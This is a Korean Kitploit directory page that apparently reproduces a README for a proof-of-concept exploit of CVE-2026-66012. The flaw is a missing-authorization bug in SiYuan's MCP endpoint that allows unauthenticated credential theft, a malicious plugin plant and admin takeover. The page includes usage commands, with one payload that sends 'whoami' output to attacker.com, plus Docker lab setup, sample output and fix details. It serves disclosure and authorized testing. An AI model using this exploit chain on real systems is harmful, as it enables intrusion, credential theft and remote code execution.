Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
siyuan-mcp-admin-takeover-cve-2026-66012-missing-authorization — CVE-2026-66012에 대한 무인증 관리자 탈취 익스플로잇으로, MCP의 인가 누락을 악용하여 자격 증명을 유출하고 원격 코드 실행(RCE)을 달성합니다. | Kitploit
도구/GitHubGitHub/hunt-benito/siyuan-mcp-admin-takeover-cve-2026-66012-missing-authorization
Authentication & AuthorizationPrivilege EscalationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed TeamingPayload Development

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
GitHub
hunt-benito/siyuan-mcp-admin-takeover-cve-2026-66012-missing-authorization

siyuan-mcp-admin-takeover-cve-2026-66012-missing-authorization

CVE-2026-66012에 대한 무인증 관리자 탈취 익스플로잇으로, MCP의 인가 누락을 악용하여 자격 증명을 유출하고 원격 코드 실행(RCE)을 달성합니다.

저장소 보기
125일 전아직 검토되지 않음

CVE-2026-66012 — SiYuan MCP 인증 없이 관리자 권한 탈취

CVE-2026-66012 (CVSS 10.0 Critical)에 대한 개념 증명(PoC)입니다. SiYuan의 MCP(Model Context Protocol) 엔드포인트에서 누락된 권한 부여 취약점으로, Publish 서버가 익명 모드로 활성화되어 있을 때 인증되지 않은 공격자가 관리자 권한을 탈취하고 원격 코드 실행을 달성할 수 있습니다.

취약점 요약

필드값
CVECVE-2026-66012
CVSS 3.110.0 Critical
CWECWE-862 — 누락된 권한 부여 (Missing Authorization)
영향 범위SiYuan < v3.7.2
수정 버전v3.7.2 (커밋 df51c2bda696)
발견자Nguyen Van Hiep (@hypnguyen1209), MBBank

근본 원인

세 가지 결함이 결합되어 공격 체인이 구성됩니다:

  1. POST /mcp 는 model.CheckAuth만 등록되어 있습니다 — CheckAdminRole이나 CheckReadonly가 없습니다. 유효한 JWT(Reader 권한 포함)라면 31개의 모든 MCP 도구를 호출할 수 있습니다.
  2. 도구 디스패처 (handler.go)는 호출자의 역할을 확인하지 않고 도구를 실행합니다.
  3. Publish 역방향 프록시는 Publish.Auth.Enable=false일 때 모든 요청에 익명의 RoleReader JWT를 주입하여, 누락된 권한 부여 버그를 인증 없이 악용 가능한 문제로 전환합니다.

공격 체인

  1. MCP 핸드셰이크 — Publish 포트의 POST /mcp를 통해 (자격 증명 없이)
  2. conf/conf.json 읽기 → accessAuthCode, api.token, cookieKey 추출
  3. 플러그인 설치 — data/plugins/pwn/에 → nodeIntegration:true로 다음 데스크톱 실행 시 RCE
  4. 관리자 로그인 — 탈취한 accessAuthCode를 사용해 포트 6806에서

사전 요구 사항

  • Python 3.8 이상
  • requests 라이브러리 (pip install requests)
  • Docker 20.10 이상 (실습 환경 구축 전용)

사용 방법

root@kitploit:~
# 전체 익스플로잇 (자격 증명 탈취 + 플러그인 설치 + 관리자 권한 상승)
python3 exploit.py http://TARGET:6808

# 설치된 플러그인용 사용자 지정 페이로드
python3 exploit.py http://TARGET:6808 "curl http://attacker.com/$(whoami)"

# 자격 증명 탈취만 수행 (플러그인 설치 없음)
python3 exploit.py http://TARGET:6808 --no-plugin

실습 환경 구성

승인된 테스트 전용입니다. 취약한 인스턴스를 로컬에 설치합니다:

root@kitploit:~
# 작업 공간 생성
LAB_ROOT=/tmp/siyuan-lab
rm -rf "$LAB_ROOT" && mkdir -p "$LAB_ROOT/workspace"
chmod 777 "$LAB_ROOT" "$LAB_ROOT/workspace"

# 취약한 SiYuan v3.7.1 시작
docker run -d --name siyuan-lab \
  -p 127.0.0.1:6806:6806 -p 127.0.0.1:6808:6808 \
  -v "$LAB_ROOT/workspace":/siyuan/workspace \
  -e "SIYUAN_ACCESS_AUTH_CODE=labpass-9f4c1a" \
  -e "PUID=1000" -e "PGID=1000" \
  b3log/siyuan:v3.7.1 \
  serve --accessAuthCode=labpass-9f4c1a --lang=en_US

sleep 6

# Publish 서버를 익명 모드로 활성화
API_TOKEN=$(docker exec siyuan-lab sh -c \
  'sed -n "s/.*\"token\": *\"\([^\"]*\)\".*/\1/p" /siyuan/workspace/conf/conf.json | head -1')

curl -sS -X POST http://127.0.0.1:6806/api/setting/setPublish \
  -H "Authorization: Token $API_TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{"enable":true,"port":6808,"auth":{"enable":false,"accounts":[]}}'

# 익스플로잇 실행
python3 exploit.py http://127.0.0.1:6808 "id"

예상 출력

root@kitploit:~
=================================================================
CVE-2026-66012 — SiYuan MCP Admin Takeover
Target: http://127.0.0.1:6808
=================================================================

[*] Starting MCP handshake...
[+] Session established: 1atnx3vlzoccx89n

[*] Reading conf/conf.json via MCP file tool...
[+] Exfiltrated credentials:
    accessAuthCode: labpass-9f4c1a
    cookieKey: zhia862a5vfvraau
    api_token: nsnt2m0n4lwv2a43

[*] Planting plugin with payload: id
[+] Plugin planted at data/plugins/pwn/
    Payload executes on next desktop launch

[*] Attempting admin login at http://127.0.0.1:6806...
[+] Administrator session established
    Token: lqfhx...

=================================================================
Exploit complete.
Plugin will execute 'id' on next desktop launch.
For authorized testing only.
=================================================================

해결 방법

SiYuan v3.7.2 이상으로 업그레이드하세요. 수정 사항(커밋 df51c2bda696)은 다음을 적용합니다:

  1. /mcp 라우트에 CheckAdminRole + CheckReadonly 미들웨어 적용
  2. 파일 도구에서 conf/conf.json 접근을 명시적으로 차단
  3. Publish 프록시 경로 허용 목록 적용 (관리자 경로는 익명 사용자에게 401 반환)

참고 자료

  • GHSA-cvhv-7xhj-xjp8
  • NVD CVE-2026-66012
  • 수정 커밋 df51c2bd
  • VulnCheck Advisory

면책 조항

이 PoC는 승인된 보안 테스트 및 교육 목적으로만 제공됩니다. 소유하지 않았거나 명시적 테스트 허가를 받지 않은 시스템에 대한 무단 사용은 불법입니다. 작성자는 이 코드의 오용에 대해 책임을 지지 않습니다.

도구 다운로드